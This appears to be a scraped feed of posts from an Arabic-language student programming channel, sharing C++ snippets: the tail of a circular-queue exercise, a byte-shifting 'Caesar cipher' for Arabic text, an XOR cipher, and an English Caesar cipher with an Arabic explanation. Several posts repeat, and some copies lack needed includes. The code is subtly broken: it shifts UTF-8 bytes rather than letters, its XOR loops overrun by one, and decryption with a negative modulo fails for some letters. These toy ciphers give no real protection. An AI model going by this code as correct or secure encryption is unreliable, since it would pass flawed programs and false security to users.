circularQueue.pop();
}
circularQueue.pop();
// طباعة العناصر المتبقية بعد الحذف
cout << "العناصر في الطابور بعد الحذف:" << endl;
while (!circularQueue.empty()) {
cout << circularQueue.front() << " ";
circularQueue.pop();
}
cout << endl;
return 0;
}
سؤال الدكتور محمد الحراسي الي قال في الاختبار حق حذف عنصر محدد من الطابور الدائري
👍5
#include<iostream>
#include<string>
using namespace std;
int main(){
string str="محمد سعيد";
cout<<"the code befor encp"<<"\t\t"<<str<<endl;
for (int i=0 ;i<str.length();i++){
str[i]= str[i]+2;
}
cout<<"the code encp"<<"\t\t"<<str<<endl;
for (int i= 0 ;i<str.length();i++){
str[i]= str[i]-2;
}
cout<<"the code decp"<<"\t\t"<<str<< endl;
}
التشفير للغه العربيه لشيفره القيصر
#include<string>
using namespace std;
int main(){
string str="محمد سعيد";
cout<<"the code befor encp"<<"\t\t"<<str<<endl;
for (int i=0 ;i<str.length();i++){
str[i]= str[i]+2;
}
cout<<"the code encp"<<"\t\t"<<str<<endl;
for (int i= 0 ;i<str.length();i++){
str[i]= str[i]-2;
}
cout<<"the code decp"<<"\t\t"<<str<< endl;
}
التشفير للغه العربيه لشيفره القيصر
👍2👏2
#include<iostream>
#include<string>
using namespace std;
int main()
{
string m="كل عام وانتم بخير";
char key='x';
string c="";
string p="";
cout<<endl<<m<<endl;
for (int i=0;i<=m.length();i++){
c+=m[i]^(int(key)*i*7)%25;
}
cout<<c<<endl;
for (int i=0; i<= c.length();i++){
p+=c[i]^(int(key)*i*7)%25;
}
cout<<endl<<p<<endl;
}
//التشفير بالغه العربيه لشيفره xor
#include<string>
using namespace std;
int main()
{
string m="كل عام وانتم بخير";
char key='x';
string c="";
string p="";
cout<<endl<<m<<endl;
for (int i=0;i<=m.length();i++){
c+=m[i]^(int(key)*i*7)%25;
}
cout<<c<<endl;
for (int i=0; i<= c.length();i++){
p+=c[i]^(int(key)*i*7)%25;
}
cout<<endl<<p<<endl;
}
//التشفير بالغه العربيه لشيفره xor
👍3😁1
كود بسيط بلغة C++ يقوم بتشفير وفك تشفير نص باستخدام خوارزمية بسيطة تعتمد على تحويل كل حرف إلى حرف آخر بناءً على مفتاح (shift) معين.
#include <iostream>
#include <string>
using namespace std;
string caesarCipher(string text, int shift) {
for (char &c : text) {
if (isalpha(c)) {
char base = islower(c) ? 'a' : 'A';
c = (c - base + shift) % 26 + base;
}
}
return text;
}
int main() {
string text = "Hello, World!";
int shift = 3; // مفتاح التشفير
string encrypted = caesarCipher(text, shift);
cout << "Encrypted: " << encrypted << endl;
cout << "Decrypted: " << caesarCipher(encrypted, -shift) << endl; // فك التشفير
return 0;
}
### شرح الكود:
1. دالة caesarCipher: تأخذ نصًا ومفتاحًا (shift) وتقوم بتشفير النص أو فك تشفيره بناءً على قيمة المفتاح.
2. التحقق من الحروف: يتم التحقق مما إذا كان الحرف هو حرف أبجدي (أو لا) قبل تطبيق التشفير.
3. الدالة main: تقوم بتعريف نص، وتشفيره، ثم فك تشفيره باستخدام المفتاح السالب.
#include <iostream>
#include <string>
using namespace std;
string caesarCipher(string text, int shift) {
for (char &c : text) {
if (isalpha(c)) {
char base = islower(c) ? 'a' : 'A';
c = (c - base + shift) % 26 + base;
}
}
return text;
}
int main() {
string text = "Hello, World!";
int shift = 3; // مفتاح التشفير
string encrypted = caesarCipher(text, shift);
cout << "Encrypted: " << encrypted << endl;
cout << "Decrypted: " << caesarCipher(encrypted, -shift) << endl; // فك التشفير
return 0;
}
### شرح الكود:
1. دالة caesarCipher: تأخذ نصًا ومفتاحًا (shift) وتقوم بتشفير النص أو فك تشفيره بناءً على قيمة المفتاح.
2. التحقق من الحروف: يتم التحقق مما إذا كان الحرف هو حرف أبجدي (أو لا) قبل تطبيق التشفير.
3. الدالة main: تقوم بتعريف نص، وتشفيره، ثم فك تشفيره باستخدام المفتاح السالب.
👌1